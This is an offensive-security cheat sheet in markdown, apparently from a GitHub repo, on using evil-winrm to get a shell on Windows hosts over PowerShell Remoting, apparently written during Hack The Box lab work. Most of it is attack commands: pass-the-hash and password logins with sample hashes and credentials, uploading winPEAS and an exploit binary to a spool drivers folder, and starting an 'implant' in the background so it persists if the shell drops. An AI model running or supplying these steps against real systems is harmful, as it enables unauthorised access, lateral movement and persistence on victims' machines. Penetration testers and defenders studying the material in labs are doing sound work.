Skip to content

Latest commit

 

History

History
71 lines (51 loc) · 2.56 KB

evil-winrm.md

File metadata and controls

71 lines (51 loc) · 2.56 KB

evil-winrm

  • evil-winrm is used to take advantage of machines with port 5985 or 5986 open which is Powershell Remoting.
  • This will provide shell level access to the machine with the user account that you have compromised.
  • You can auth either with a hash or password
  • Supports SSL

Usage

  • Connect with pass the hash attack
evil-winrm -i 10.10.100.15 -u administrator -H "c2597747aa5e43022a3a3049a3c3b09d"
  • Password Authentication:
evil-winrm -i 10.10.100.15 -u a-whitehat -p "bNdKVkjv3RR9ht"

evil-winrm Docker

  • I have had issues with evil-winrm running properly on non kali Linux distros such as Ubuntu.
  • One simple work around is to pull a Kali Docker image and utilize that 
docker pull kalilinux/kali-rolling
sudo docker run --tty --interactive kalilinux/kali-rolling
evil-winrm -i 172.16.2.5 -u 'DANTE.ADMIN\jbercov' -p mypass123
  • copy files from host into evil-winrm docker container 
sudo docker cp /opt/winPEASx64.exe 3faed2add6c3:/opt
docker cp /home/ubuntu/Documents/htb/cicada/exploit/cicada.htb.exe bbf6c66e54c3:/opt

evil-winrm Service enumeration

  • you can use a builtin from evil-winrm to enumerate services on a remote endpoint
services
Path                                                                           Privileges Service          
----                                                                           ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                           False ADWS             
C:\Windows\HQbCgOtZ.exe                                                             False fGnb             
C:\Windows\qiFePsnh.exe                                                             False fYCF             
C:\Windows\FxRmIulx.exe                                                             False gbkS             
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                        True NetTcpPortSharing
C:\Windows\rIiHdlwq.exe                                                             False odgx
--snip--

evil-winrm file upload

  • use the builtin for evil-winrm to upload files from your attackbox to the remote host 
upload /opt/winPEASx64.exe 
Info: Uploading /opt/winPEASx64.exe to C:\Windows\system32\spool\drivers\color\winPEASx64.exe

WinRM Implant Execution

  • start your implant in the background so if your evil-winrm shell dies your implant will continue to run 
cmd.exe /c start /b C:\Windows\System32\spool\drivers\color\cicada.htb.exe